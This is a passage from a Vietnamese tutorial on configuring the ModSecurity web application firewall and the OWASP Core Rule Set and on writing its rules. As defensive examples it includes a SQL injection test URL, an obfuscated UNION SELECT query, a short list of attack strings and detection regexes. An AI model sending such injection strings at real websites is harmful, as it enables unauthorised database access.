trong phần này được khuyến cáo thiết lập ở mức 3, nhằm giới hạn việc tăng kích thước của log
mà vẫn bảo đảm cho việc theo dõi hệ thống.
# Debug log
SecDebugLog /opt/modsecurity/var/log/debug.log
SecDebugLogLevel 3
Audit Log
Audit log được sử dụng với mục đích ghi lại các phiên (transaction) làm việc. Audit log có 3
mức độ khác nhau để chỉ định cách thức hoạt động trong ModSecurity: SecAuditEngineare On
(ghi log tất cả phiên làm việc), Off (tắt audit log) và RelevantOnly (chỉ ghi log dựa vào mẫu mà
người dùng chỉ định).
# Thực hiện ghi log cho các yêu cầu có mã lỗi từ 500-599 (lỗi từ phía server).
RelevantOnly
SecAuditLogRelevantStatus ^5
# Use a single file for logging.
SecAuditLogType Serial
SecAuditLog /opt/modsecurity/var/log/audit.log
# Specify the path for concurrent audit logging.

20
SecAuditLogStorageDir /opt/modsecurity/var/audit/
Default Rule Match Policy
Phần cấu hình rule mặc định cho ModSecurity là khá quan trọng, vì phần này sẽ quyết định
hệ thống mà bạn sẽ theo dõi có bị bỏ sót các tấn công trong trường hợp các tập rule không thể
phát hiện được. Tuy nhiên, ModSecurity khuyến cáo bạn nên cấu hình không nên chặn tất cả
các kết nối khi ModSecurity hoạt động.
SecDefaultAction "phase:1,log,auditlog,pass"
Verifying Installation
Sau khi hoàn thành phần cấu hình, tôi sẽ kiểm tra hoạt động của ModSecurityuriy bằng một
rule đơn giản như sau:
#vi /opt/modsecurity/etc/rules.conf
SecRule REQUEST_URI "dangerous" "id:'900721'phase:1,deny,status:406"
Rule trên hoạt động trong trường hợp khi một người dùng cố truy cập vào URI có chứa mẫu
dangerous, thì Modsecurity sẽ trả về mã lỗi 406.
[root@mod_security ~]# curl -I http://www.ModSecurity.com/dangerous
HTTP/1.1 406 Not Acceptable
Date: Thu, 30 May 2013 22:56:06 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1
VIII. OWASP MODSECURITY CORE RULE SET
Giới thiệu
ModSecurity sau khi đã được cài đặt thành công cần được cấu hình các tập rule để có thể
hoạt động như một WAF. Tuy nhiên, việc tự viết và triển khai các rule là khá phức tạp và tốn
thời gian để tối ưu các chức năng trong rule.
Nhóm nghiên cứu Truswave SpiderLabs đã phát triển một nhóm các tập lệnh có tên là
OWASP ModSecurity CRS, bao gồm các nội dung gói tin của kiểu tấn công đã được biết đến.
Một tính năng mạnh mẽ của CRS là có thể bảo vệ những ứng dụng web phổ biến cũng như
những ứng dụng web tự phát triển riêng biệt.
Nhằm mục đích bảo vệ các ứng dụng web phổ biến, CRS phân loại nội dung các rule dựa
trên các phương pháp tấn công:
• HTTP Protection: phát hiện các nguy cơ dựa trên giao thức HTTP như Method (
GET HEAD POST …), phiên bản HTTP ( 1.0, 1.1)
• Real-time Blacklist Lookups: lọc các dãy IP nguy hiểm dựa vào một bên thứ 3.

21
• Web-based Malware Detection: xác địnhcác mã độc trong nội dung trang web
bằng cách sử dụng Google Safe Browsign API.
• HTTP Denial of Service Protections: chống lại dạng tấn công từ chối dịch vụ
như HTTP Flooding và Slow HTTP DoS.
• Common Web Attacks Protection: phát hiện một số dạng tấn công phổ biếtn
vào ứng dụng web Automation Detection: phát hiện các bots, crawler, chương trình quét
(scanner) và các hoạt động thu thập thông tin.
• Integration with AV Scanning for File Uploads: phát hiện các mã độc,
webshell, 0days thông qua các chức năng upload tập tin.
• Tracking Sensitive Data: theo dõi các hoạt động và chặn lộ thông tin thẻ tín
dụng (trong trường hợp website có hoạt động thương mại điện tử).
• Trojan Protection: phát hiện các mẫu trojan.
• Identification of Application Defects: cảnh báo các lỗi trong quản lý cấy hình
ứng dụng webserver.
• Error Detection and Hiding: gởi các mã thông báo lỗi giả về phía người dùng.
Triển khai OWASP ModSecurityCRS
Tiến hành tải gói tin SpiderLabs-owasp-modsecurity-crs phiên bản mới nhất tại:
Định dạng Liên kết
GitHub
Repository
https://github.com/SpiderLabs/owasp-modsecurity-crs
TAR/GZ
Archive
https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master
ZIP
Archive
https://github.com/SpiderLabs/owasp-modsecurity-crs/zipball/master
#tar xvf SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8.tar.gz
#cd SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8
#cp modsecurity_crs_10_setup.conf.example
/opt/modsecurity/etc/modsecurity_crs_10_setup.conf
#mkdir -p /opt/modsecurity/etc/crs/activated_rules
#cp base_rules/* /opt/modsecurity/etc/crs/activated_rules/
#vi /etc/httpd/conf.d/modsecurity.conf
<IfModule mod_security2.c>
#START COMMON CONFIGURATION
Include /opt/modsecurity/etc/main.conf
#Include /opt/modsecurity/etc/rules-first.conf

22
#Include /opt/modsecurity/etc/rules.conf
#Include /opt/modsecurity/etc/rules-last.conf
#STOP COMMON CONFIGURATION
#START OWASP MODSECURITY CORE RULE SET
Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf
Include /opt/modsecurity/etc/crs/activated_rules/*.conf
#STOP OWASP MODSECURITY CORE RULE SET
</IfModule>
#/etc/init.d/httpd restart
Kiểm tra kết quả
Ta thực hiện kiểm tra tấn công SQL injection với URI sau trong trường hợp trước và sau khi
triển khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4
Hình 4: Tấn công SQLI trước khi triển khai OWASP CRS

23
Hình 5:Tấn công SQLI sau khi triển khai OWASP CRS
Cảnh báo ghi nhận tấn công:
[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied with
code 403 (phase 2). Pattern match
"b(?i:having)bs+(d{1,10}|'[^=]{1,10}')s*?[=<>]|(?i:bexecute(s{1,5}[w
.$]{1,5}s{0,3})?()|bhavingb ?(?:d{1,10}|['"][^=]{1,10}['"])
?[=<>]+|(?i:bcreates+?table.{0,20}?()|(?i:blikeW*?charW*?()|(?i:(?:(select(
.* ..." at ARGS:p. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: order
by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname
"www.modsec.com"] [uri "/"] [unique_id "Ua3SN38AAAEAAAcbBfsAAAAA"]
IX. TỔNG QUAN VỀ RULE
Giới thiệu
Modsecurity định nghĩa 9 loại chỉ thị để người dùng có thể triển khai các tính năng lọc linh
động cho hệ thống web.
Directive Description
SecAction Performs an unconditional action. This directive is
essentially a rule that always matches.
SecDefaultAction Specifies the default action list, which will be used in
the rules that follow.
SecMarker Creates a marker that can be used in conjunction with
the skipAfteraction. A marker creates a rule that does
nothing, but has an ID assigned to it.

24
SecRule Creates a rule.
SecRuleInheritance Controls whether rules are inherited in a child
configuration context.
SecRuleRemoveById Removes the rule with the given ID.
SecRuleRemoveByMsg Removes the rule whose message matches the given
regular expression.
SecRuleScript Creates a rule implemented using Lua.
SecRuleUpdateActionB
yId
Updates the action list of the rule with the given ID.
SecRuleUpdateTargetB
yId
Updates the target list of the rule with the given ID.
Cú pháp rule trong ModSecurity:
SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]
Trong một rule ModSecurity có 4 thành phần, trong đóhai thành phần cuối của cú pháp là
tùy chọn.Nếu trong một rule mà bạn định nghĩa không sử dụng 2 thành phần
TRANSFORMATION_FUNCTIONS và ACTIONS thì ModSecurity sẽ dùng các giá trị mặc
định được thiết lập trong SecDefaultAction.
Biến (Variables)
Trong ModSecurity, biến được sử dụng cho việc trích xuất (etract) các thành phần khác nhau
của gói tin HTTP. được Bạn cần chú ý rằng các dữ liệu tương tác trong quá trình hoạt động của
ModSecurity là dữ liệu thô (raw bytes of data) bao gồm các ký tự đặc biệt. Mặc dù ứng dụng
web mà bạn xây dựng chỉ tương tác với các dữ liệu dạng văn bản (text), nhưng bạn không thể
chắc chắn được chuyện gì đang xảy ra nếu như các đối thủ sử dụng những cách để vượt qua các
kiểm soát logic.
Trong phiên bản hiện tại, ModSecurity đã hỗ trợ 77 loại biến khác nhau để tăng tính linh
động chống lại các kiểu khai thác nâng cao.
Operators
Tại mục này, ModSecurity sẽ xác định các thức mà một biến được xử lý. Các regular
expresstion được sử dụng phổ biến, tuy nhiên ModSecurity định nghĩa sẵn các operator nhằm
hỗ trợ bạn có thể tự xây dựng một rule cho mục đích cá nhân.
Transformation_functions
Chức năng này cho phép chuyển đổi dữ liệu đầu vào trước khi đưa qua cơ chế kiểm tra
(chuyển chữ hoa thành chữ thường, decode base64 …)
Actions
Chỉ rõ hành động sẽ thực hiện khi một rule đã được so trùng mẫu.

25
Variables
Có 77 loại biến trong phiên bản ModSecurity hiện tại và chúng được phân loại như sau:
Scalar variables: Chứa một phần thông tin dữ liệu, có thể là chuỗi hoặc số. Ví dụ,
REMOTE_ADDR luôn chứa địa chỉ IP của người dùng,
Collections: Nhóm các biến lại với nhau thành một nhóm.
Read-only collections: Nhóm các biến không thể thay đổi trong quá trình thực hiện tương
tác giữa ModSecurity và Apache.
Read/write collections: Nhóm này được sử dụng trong trường hợp bạn cần triển khai các
rule có sự thay đổi trong dữ liệu đầu vào.
Special collections: Nhóm các biến đặc biệt được dùng trong việc trích xuất dữ liệu đầu vào
dưới dạng XML.
Persistent collections: Khi các rule sử dụng các thành phân trong nhóm này, thì dữ liệu sẽ
được lưu trữ trong cơ sở dữ liệu nội bộ của ModSecurity. Trong các tác vụ như theo dõi IP,
phiên làm việc hoặc theo dõi người dùng đăng nhập thì việc lưu trữ sẽ được sử dụng.
Request variables
Các biến trong phân nhóm này chịu trách nhiệm trích xuất các giá trị trong HTTP request
header để đưa vào phần phân tích. Các trường giá trị ModSecurity hỗ trợ trong các biến được
thu thập từ các URI, method (GET HEAD POST PUT …), protocol information ( HTTP 1.1,
HTTP 1.0).
Bảng sau liệt kê các giá trị biến (Request variable) mà ModSecurity hỗ trợ:
Variable Description
ARGS Request parameters (read-only collection)
ARGS_COMBINED_SIZE Total size of all request parameters combined
ARGS_NAMES Request parameters‟ names (collection)
ARGS_GET Query string parameters (read-only collection)
ARGS_GET_NAMES Query string parameters‟ names (read-only collection)
ARGS_POST Request body parameters (read-only collection)
ARGS_POST_NAMES Request body parameters‟ names (read-only collection)
FILES File names (read-only collection)
FILES_COMBINED_SIZE Combined size of all uploaded files
FILES_NAMES File parameter names (read-only collection)
FILES_SIZES A list of file sizes (read-only collection)
FILES_TMPNAMES A list of temporary file names (read-only collection)
PATH_INFO Extra path information
QUERY_STRING Request query string
REMOTE_USER Remote user
REQUEST_BASENAME Request URI basename
REQUEST_BODY Request body

26
REQUEST_COOKIES Request cookies (read-only collection)
REQUEST_COOKIES_NAM
ES
Request cookies‟ names (read-only collection)
REQUEST_FILENAME Request URI file name/path
REQUEST_HEADERS Request headers (collection, read-only)
REQUEST_HEADERS_NAM
ES
Request headers‟ names (read-only collection)
REQUEST_LINE Request line
REQUEST_METHOD Request method
REQUEST_PROTOCOL Request protocol
REQUEST_URI Request URI, convert to exclude hostname
REQUEST_URI_RAW Request URI, as it was presented in the request
Server variables
Các biến trong phân nhóm này dùng phân tích các thành phần do người dùng gởi đến máy
chủ, và một số khác liên quan đến dữ liệu trả về người dùng.
Bảng sau liệt kê các giá trị biến (server variable) mà ModSecurity hỗ trợ:
AUTH_TYPE Authentication type
REMOTE_ADDR Remote address
REMOTE_HOST Remote host
REMOTE_PORT Remote port
SCRIPT_BASENAME Script basename
SCRIPT_FILENAME Script file name/path
SCRIPT_GID Script group ID
SCRIPT_GROUPNAM
E
Script group name
SCRIPT_MODE Script permissions
SCRIPT_UID Script user ID
SCRIPT_USERNAME Script user name
SERVER_ADDR Server address
SERVER_NAME Server name
SERVER_PORT Server port
Response variables
Các biến trong phân nhóm này được dùng cho việc xác định các dữ liệu trả về người dùng.
Phần lớn các giá trị này được sử dụng trong pha thứ 3 Response headers (3). Một số thành phần
liên quan đến nội dung gói tin HTTP (body) thì sẽ được dùng trong pha thứ 4 Response body
(4).
Bảng sau liệt kê các giá trị biến (respone variable) mà ModSecurity hỗ trợ:

27
RESPONSE_BODY Response body
RESPONSE_CONTENT_LENG
TH
Response content length
RESPONSE_CONTENT_TYPE Response content type
RESPONSE_HEADERS Response headers (read-only collection)
RESPONSE_HEADERS_NAME
S
Response headers‟ names (read-only collection)
RESPONSE_PROTOCOL Response protocol
RESPONSE_STATUS Response status code
Miscellaneouse variables
Bảng sau liệt kê các giá trị biến (miscellaneouse variable) mà ModSecurity hỗ trợ:
HIGHEST_SEVERITY Highest severity encountered
MATCHED_VAR Contents of the last variable that matched
MATCHED_VARS Contents of all variables that matched int the most
recent rule
MATCHED_VARS_NAM
ES
Names of all variables that matched in the most recent
rule
MATCHED_VAR_NAME Name of the last variable that matched
MODSEC_BUILD ModSecurity build version (e.g., 02050102)
SESSIONID Session ID associated with current transaction
UNIQUE_ID Unique transaction ID generated by mod_unique_id
USERID User ID associated with current transaction
WEBAPPID Web application ID associated with current transaction
WEBSERVER_ERROR_L
OG
Error messages generated by Apache during current
transaction
Parsing flags
MULTIPART_BOUNDARY_QUOTED Multipart parsing error: quoted boundary
encountered
MULTIPART_BOUNDARY_WHITESPACE Multipart parsing error: whitespace in
boundary
MULTIPART_CRLF_LF_LINES Multipart parsing error: mixed line
endings used
MULTIPART_DATA_BEFORE Multipart parsing error: seen data before
first boundary
MULTIPART_DATA_AFTER Multipart parsing error: seen data after
last boundary

28
MULTIPART_FILE_LIMIT_EXCEEDED Multipart parsing error: too many files
MULTIPART_HEADER_FOLDING Multipart parsing error: header folding
used
MULTIPART_INVALID_HEADER_FOLDI
NG
Multipart parsing error: invalid header
folding encountered
MULTIPART_LF_LINE Multipart parsing error: LFline ending
detected
MULTIPART_MISSING_SEMICOLON Multipart parsing error: missing
semicolon before boundary
MULTIPART_STRICT_ERROR At least one multipart error except
unmatched boundary occurred
MULTIPART_UNMATCHED_BOUNDARY Multipart parsing error: unmatched
boundary detected
REQBODY_PROCESSOR Request processor that handled request
body
REQBODY_PROCESSOR_ERROR Request processor error flag (0or 1)
REQBODY_PROCESSOR_ERROR_MSG Request processor error message
Collections variables
Các biến trong nhóm này có thể chứa biến của các nhóm khác, nhằm phục vụ việc thu thập
dữ liệu để đưa qua cơ chế phân tích hành vi trong ModSecurity.
ENV Environment variables (read-only collection,
although it‟s possible to use setvar
GEO to change it)
GLOBAL Geo lookup information from the last
@geoLookupinvocation (read-only collec
IP tion)
TX Global information, shared by all processes
(read/write collection)
RULE IP address data storage (read/write collection)
SESSION Transient transaction data (read/write
collection)
USER Current rule metadata (read-only collection)
XML Session data storage (read/write collection)
Time variables
Các biến về thời gian dùng để xác định thời gian khi một phiên làm việc trên ModSecurity
được thực hiện.
TIME Time (HH:MM:SS)
TIME_DAY Day of the month (1–31)
TIME_EPOCH Seconds since January 1, 1970 (e.g.,

29
1251029017)
TIME_HOUR Hour of the day (0–23)
TIME_MIN Minute of the hour (0–59)
TIME_MON Month of the year (0–11)
TIME_SEC Second of the minute (0–59)
TIME_WDAY Week day (0–6)
TIME_YEAR Year
Operators
Các toán tử kiểm tra trong ModSecurity có nhiệm vụ phân tích các biến đầu vào Variables để
ra quyết định. Hầu hết các rule sẽ sử dụng các regular expression cho việc phân tích, nhưng
trong một số trường hợp cụ thể thì các phân nhóm toán tử khác sẽ hữu ích hơn.
Ta xét trường hợp cần so sánh các giá trị là số (numberic) thì việc sử dụng Regular
expression là khá bất lợi cho việc tạo rule và tài nguyên khi thực thi so sánh rule. ModSecurity
hỗ trợ một nhóm phương thức so sánh khác nhau nhằm tăng hiệu năng cho phần kiểm tra.
Trong trường hợp này thì việc sử dụng các toán tử về số học sẽ hiệu quả hơn nhiều so với
regular expression.
ModSecurity hỗ trợ 4 nhóm:
• String–matching operators
• Numerical operators
• Validation operators
• Miscellaneous operators
String–matching operators
Các toán tử so trùng chuỗi được dùng phân tích các đầu dữ liệu vào từ các biến. Toán tử @rx
và @pm thường được sử dụng nhiều trong các rule phân tích, bởi vì tính linh động của @rx và
tốc độ xử lý của @pm. Trong một số trường hợp khác thì các toán tử còn lại sẽ hỗ trợ bạn phát
triển các rule tùy theo mục đích chi tiết.
Operator Description
@beginsWith Input begins with parameter
@contains Input contains parameter
@endsWith Input ends with parameter
@rsub Manipulation of request and response bodies
@rx Regular pattern match in input
@pm Parallel pattern matching
@pmFromFile(also @pmfas of
2.6)
Parallel patterns matching, with patterns read
from a file
@streq Input equal to parameter
@within Parameter contains input

30
Numerical operators
Trong bảng dưới liệt kê các toán tử hỗ trợ so sánh các giá trị số.Trong phiên bản
ModSecurity trước 2.5.12 thì việc so sánh các giá trị số học phải thông qua regular expression,
việc này làm ảnh hưởng lớn đến hiệu năng hoạt động của server.
@eq Equal
@ge Greater or equal
@gt Greater than
@le Less or equal
@lt Less than
Validation operators
Các toán tử kiểm tra mà ModSecurity hỗ trợ được liệt kê trong bảng sau:
@validateByteRange Validates that parameter consists only of
allowed byte values
@validateDTD Validates XML payload against a DTD
@validateSchema Validates XML payload against a schema
@validateUrlEncoding Validates an URL-encoded string
@validateUtf8Encoding Validates an UTF-8-encoded string
Miscellaneous operators
Và phân nhóm operator cuối cùng mà ModSecurity hỗ trợ cho phép bạn tạo ra một số rule
với các chức năng lọc khá hữu dụng như: phát hiện lộ thông tin credit card (@verifyCC), kiểm
tra vùng địa lý của IP người dùng (@geoLookup), kiểm tra lộ thông tin số an sinh xã hội
(@verifySSN )…
@geoLookup Determines the physical location of an IP
address
@inspectFile nvokes an external script to inspect a file
@rbl Looks up the parameter against a RBL (real-
time block list)
@verifyCC Checks whether the parameter is a valid credit
card number
@verifyCPF Checks whether the parameter is a valid
Brazilian social security number
@verifySSN Checks whether the parameter is a valid US
social security number
@ipMatch Matches input against one or more IP addresses
or network segments

31
@ipMatchFromFile( and @ip
MatchF), as of 2.7.0
As @ipMatch, but reads input from a file
Actions
Các hành vi (action) là điểm mạnh của ModSecurity cho phép hệ thống web có khả năng
miễn dịch với một số loại khai thác đã biết đến. Các action là thành phần cuối cùng trong một
rule, Apache sẽ quyết định kết quả trả về phía người dùng (thông báo lỗi, hủy kết nối hoặc cho
phép truy cập…)
ModSecurity chia các action thành 7 phân mục:
• Disruptive actions
• Flow actions
• Metadata actions
• Variable actions
• Logging actions
• Special actions
• Miscellaneous Actions
Disruptive actions
Trong phân nhóm này, các action được sử dụng nhằm mục đích ngăn chặn hoặc chuyển
hướng kết nối trong trường hợp ModSecurity phát hiện mẫu tấn công trùng khớp.
Action Description
allow Stop processing of one or more remaining
phases
block Indicate that a rule wants to block
deny Block transaction with an error page
drop Close network connection
pass Do not block, go to the next rule
pause Pause for a period of time, then execute allow.
proxy Proxy request to a backend web server
redirect Redirect request to some other web server
Flow actions
Action Description
chain Connect two or more rules into a single logical
rule
skip Skip over one or more rules that follow
skipAfter Skip after the rule or marker with the provided
ID

32
Metadata actions
Phân nhóm này cho phép bạn định nghĩa các thông tin mô tả về rule. Các thông tin này
thường được dùng để mô tả thông báo lỗi (error message), giải thích nguyên nhân xuất hiện lỗi
hoặc cách khắc phục đề nghị.
Action Description
id Assign unique ID to a rule
phase Phase for a rule to run in
msg Message string
rev Revision number
severity Severity
tag Tag
Variable actions
Cách hành vi trong nhóm này được liên hệ với các giá trị biến (Variables), các action này
cho phép gán giá trị (set), thay đổi (change) và xóa (remove) giá trị mà các biến lưu trữ.
Action Description
capture Capture results into one or more variables
deprecatevar Decrease numerical variable value over time
expirevar Remove variable after a time period
initcol Create a new persistent collection
setenv Set or remove an environment variable
setvar Set, remove, increment, or decrement a variable
setuid Associate current transaction with an
application user ID (username)
setsid Associate current transaction with an
application session ID
Logging actions
Các action trong phân nhóm ghi log chỉ dẫn ModSecurity phương thức và nơi lưu trữ log.
Các action ảnh hưởng đến việc ghi log trong rule là auditlog, log, noauditlog và nolog. Để điều
khiển quá trình ghi log, bạn cần tham khảo ctlaction.
Action Description
auditlog Log current transaction to audit log
log Log error message; implies auditlog
logdata Log supplied data as part of error message
noauditlog Do not log current transaction to audit log
nolog Do not log error message; implies noauditlog
sanitiseArg Remove request parameter from audit log
sanitiseMatched Remove parameter in which a match occurred
from audit log
sanitiseRequestHeader Remove request header from audit log

33
Special actions
Action Description
ctl Change configuration of current transaction
multiMatch Activate multi-matching, where an operator
runs after every transformation
t Specify transformation functions to apply to
variables before matching
Miscellaneous Actions
Action Description
append Append content to response body
exec Execute external script
prepend Prepend content to response body
status Specify response status code to use with
denyand redirect
xmlns Specify name space for use with XPath
expressions
X. RULE LANGUAGE TUTORIAL
Tổng quan
Trong phần hướng dẫn này, tôi sẽ bắt đầu với một rule đơn giản gồm một biến và một chuỗi
(string) như sau:
SecRule REQUEST_URI <script>
Với biểu thức so sánh như trên thì ModSecurity thực thi kiểm tra dữ liệu trong URI từ phía
người dùng và xác định có sự tồn tại của chuỗi <script> hay không. Tuy nhiên, bạn có thể sử
dụng thêm một operator vào rule trên để tăng hiệu quả kiểm tra trong ModSecurity, tôi sẽ viết
lại rule trên như sau:
SecRule REQUEST_URI "@rx <script>"
ModSecurity hỗ trợ nhiều loại operator khác nhau.Một số có cùng chức năng, nhưng các
operator sẽ có ảnh hưởng khác nhau đến hiệu suất của hệ thống. Trong ví dụ tôi đưa ra thì
chuỗi <script> không phải là một biểu thức so sánh, bởi vì chúng không chứa ký tự đặc biệt để
xác định đây là một mẫu biểu thức. Tôi có thể viết lại rule trên bằng các sử dụng @contains để
tối ưu:
SecRule REQUEST_URI "@contains <script>"
Hướng dẫn sử dụng biến (variable)
Trong một rule, bạn có thể sử dụng nhiều biến khác nhau bằng cách dùng ký tự pipe “|” để
phân cách:
SecRule REQUEST_URI|REQUEST_PROTOCOL <script>

34
Nhóm các biến được dùng trong một rule được gọi là collection. Trên thực tế, các rule được
viết có thể chứa nhiều hơn một thành phần tham số (parameter), ta có thể dùng dấu hai chấm
“:” để phân cách biến và tên của tham số.
SecRule ARGS:p <script>
SecRule ARGS:p|ARGS:q <script>
Ta có thể sử dụng cấu trúc như ví dụ trên để so trùng bằng mẫu biểu thức, ví dụ bên dưới sẽ
tìm chuỗi <script> trong các tham số bắt đầu bằng ký tự p:
SecRule ARGS:/^p/ <script>
Biến ARGS mặc định sẽ theo dõi tất cả các tham số nếu bạn không chỉ định tên tham số
hoặc biểu thức mẫu. Việc liệt kê các tham số giúp giảm thiểu tài nguyên hệ thống và năng hiệu
suất theo dõi của ModSecurity. Trong một số trường hợp, bạn có thể sử dụng toán tử phủ định
(operator negation) để loại bỏ một nhóm biến trong rule, bằng cách thêm dấu chấm than vào
trước nhóm biết mà bạn không sử dụng:
SecRule ARGS|!ARGS:z <script>
Hướng dẫn sử dụng liên kết rule (chain)
ModSecurity cho phép bạn liên kết các SecRule riêng lẽ với nhau thành một SecRule duy
nhấtthông quan từ khóa chain. Liên kết các rule sẽ giảm thiểu các tình huống cảnh báo không
chính xác, giúp bạn đơn giản hóa việc viết rule trong trường hợp cần kiểm tra các điều kiện
mang tính chất tuần tự.
Trong ví dụ bên dưới, ModSecurity sẽ luôn thực hiện kiểm tra SecRule đầu tiên (kiểm tra
tham số p), nếu xảy ra trường hợp có dữ liệu trùng khớp thì rule tiếp theo (kiểm tra tham số q)
sẽ được kiểm tra.
SecRule ARGS:p <script> chain
SecRule ARGS:q <script>
Hướng dẫn sử dụng toán tử phủ định
ModSecurity cho phép bạn sử dụng phương pháp phủ định một thành phần bất kỳ trong rule.
Giả sử bạn muốn triển khai một rule có chức năng theo dõi người dùng đăng nhập ngoại trừ
user admin và root, ta có thể viết như sau:
SecRule ARGS:username "!@rx ^(admin|root)$"
Trong rule SecRule ARGS:p|ARGS:q "!@eq 5" thì ModSecurity sẽ trùng khi có một trong
hai tham số p hoặc q có giá trị bằng 5. Trường hợp bạn cần kiểm tra tham số p và q có giá trị
bằng 5 thì ta sử dụng từ khóa chain:
SecRule ARGS:p "!@eq 5" chain
SecRule ARGS:q "!@eq 5"

35
Variable Counting
Bằng cách thêm ký tự “&” vào trước biến trong rule, bạn có thể thực hiện công việc đếm số
lần xuất hiện của một biến.
Trong rule bên dưới, ModSecurity thực hiện kiểm tra trong trường hợp tồn tại một tham số
username:
SecRule &ARGS:username "@eq 1"
Để kiểm tra trong trường hợp có nhiều hơn một tham số username, ta viết lại rule như sau:
SecRule &ARGS:username "!@eq 1"
Hướng dẫn về action
Hành vi (action) là thành phần thứ ba trong chỉ thị SecRule và là thành phần thứ nhất trong
chỉ thị SecAction. Một rule có thể không tồn tại action hoặc nhiều hơn một action. Nếu ta sử
dụng nhiều action trong một rule, ta có thể phân cách bằng dấu phẩy “,” hay khoảng trắng giữa
các action. Trong rule bên dưới, ta sử dụng 2 action là log và deny:
SecRule ARGS K1 log,deny
Một số action trong ModSecurity yêu cầu có tham số khi sử dụng. Trong trường hợp này, ta
cần phân cách action và tham số bởi dấu “:” . Một ví dụ về việc sử dụng hành vị deny các yêu
cầu đến server và gây lỗi “404 Not found”:
SecRule ARGS K1 log,deny,status:404
Một phần cần lưu ý đối với các hành vi có tham số chứa khoảng trắng hoặc ký tự “,” , bạn
nên chắc chắn rằng các tham số này được đặt trong một cặp dấu ngoặc đơn „‟.
SecRule ARGS K1 "log,deny,msg:'Acme attack detected'"
Action Defaults
ModSecurity định nghĩa một ngữ cảnh được gọi là default action list (tạm dịch: danh sách
các hành vi mặc định), nhằm thực hiện chèn các giá trị này vào những rule không được chỉ
định action.
Giả sử, sau khi thực hiện cấu hình trong tập tin main.conf của ModSecurity, giá trị của
SecDefaultAction là phase:2,log,auditlog,pass. Ta có một rule đơn giản không được chỉ định
action:
SecRule ARGS K1
Khi ModSecurity hoạt động, thì rule trên sẽ được hiểu như sau:
SecRule ARGS K1 phase:2,log,auditlog,pass
Bằng cách này, ModSecurity giúp bạn triển khai một rule dễ dàng hơn mà không cần phải
chỉ định một action lặp lại nhiều lần:
SecDefaultAction phase:2,log,deny,status:404

36
SecRule ARGS K1
SecRule ARGS K2
...
SecRule ARGS K99
Unconditional Rules
Hành vi mà bạn thiết lập trong chỉ thị SecRule sẽ được thực hiện khi có mẫu trùng khớp với
các biểu thức, nhưng bạn cũng có thể sử dụng chỉ thị SecAction để triển khai các hành vi
(action) mà bạn định nghĩa sẵn. Chỉ thị SecAction cho phép chứa duy nhất một tham số
(parameter), tham số này được dùng để liên kết với thành phần thứ ba trong chỉ thị SecRule.
SecAction nolog,pass,setvar:tx.counter=10
Using Transformation Functions
Trong các phương pháp khai thác lỗ hổng ứng dụng web, hacker thường sử dụng các kỹ
thuật biến đổi dữ liệu (obfuscation) để vượt qua cơ chế kiểm tra. Để chống lại phương pháp
biến đổi, ModSecurity hỗ trợ chuyển đổi dữ liệu đầu vào trước khi thực hiện kiểm tra các tấn
công. Ví dụ:
Trong tấn công SQL Injection thì hacker thực hiện câu truy vấn:
“id=1&UniON%20SeLeCT%201,2,3,4,5,6” (trong trường hợp này ta cần chuyển đổi các ký tự
sang chữ thường (lowercase) trước khi kiểm tra)
Hoặc trong rule bên dưới, ModSecurity sẽ thực hiện chuyển các ký tự thành chữ thường,
đồng thời loại bỏ các ký tự khoảng trắng không cần thiết:
SecRule ARGS "@contains delete from"
phase:2,t:lowercase,t:compressWhitespace,block
Kết quả mà ModSecurity sẽ thực hiện là lọc những từ khóa có dạng:
delete from
DELETE FROM
deLeTe fRoM
Delete From
DELETEtFROM –
Một số lý do bạn cần sử dụng chức năng chuyển đổi:
Với các khai thác sử dụng phương pháp encode base64, ta có thể áp dụng
t:base64Decode để decode dữ liệu đầu vào.
Tương tự Base64, với trường hợp hacker chuyển đổi kiểu dữ liệu thành dạng Hex
thì t:hexEncode nên được sử dụng để chuyển đổi sang dạng Plaintext.

37
Blocking
Các chỉ thị sử dụng trong ModSecurity được liên kết duy nhất với một action (hoặc chỉ thị
SecAction) để xử lý kết quả đã phân tích trước đó. Có ba trạng thái mà ModSecurity hỗ trợ
trong việc ngăn chặn tấn công:
Chuyển tiếp sang rule tiếp theo.
Ngưng thực hiện pha hiện thời, nhưng tiếp tục thực hiện phiên trao đổi dữ liệu.
Ngưng thực hiện pha hiện thời, đồng thời ngừng trao đổi dữ liệu.
Changing Rule Flow
Giả sử trường hợp các rule trong ModSecurity được xử lý tuần tự từ rule đầu tiên đến rule
cuối cùng. Nếu có một giá trị trùng với mẫu so sánh, thì tiến trình kiểm tra trong các rule tiếp
sau đó nên được bỏ qua. Để thực hiện việc này, từ khóa skipcó thể được đưa vào sử dụng như
sau:
SecRule ARGS K1 id:1,nolog,pass,skip:2
SecRule ARGS K2 id:2,nolog,pass
SecRule ARGS K3 id:3,log,block
Với ví dụ trên, khi rule 1 trùng mẫu so sánh thì các rule tiếp sau sẽ không thực hiện kiểm tra.
Từ khóa skipthường được dùng như một phương pháp tối ưu hóa trong ModSecurity. Đôi
khi việc thực thi các nhóm rule có nhiều điều kiện sẽ làm lãng phí tài nguyên CPU. Trong
trường hợp này, bạn có thể thực hiện việc kiểm tra điều kiện của một rule và nên bỏ qua các
bước tiếp theo nếu điều kiện đầu vào không thỏa tiêu chí.
Ví dụ:
Trong các rule kiểm tra trong nhóm Cross Site Scripting (XSS) thì các mẫu tấn công như
UNION, ORDER BY, XP_CMD, ../../../, 1’or 1=1 --, … là không cần thiết phải kiểm tra. Việc
sử dụng từ khóa skip sẽ giúp tối ưu tài nguyên xử lý trong trường hợp này.
If-Then-Else
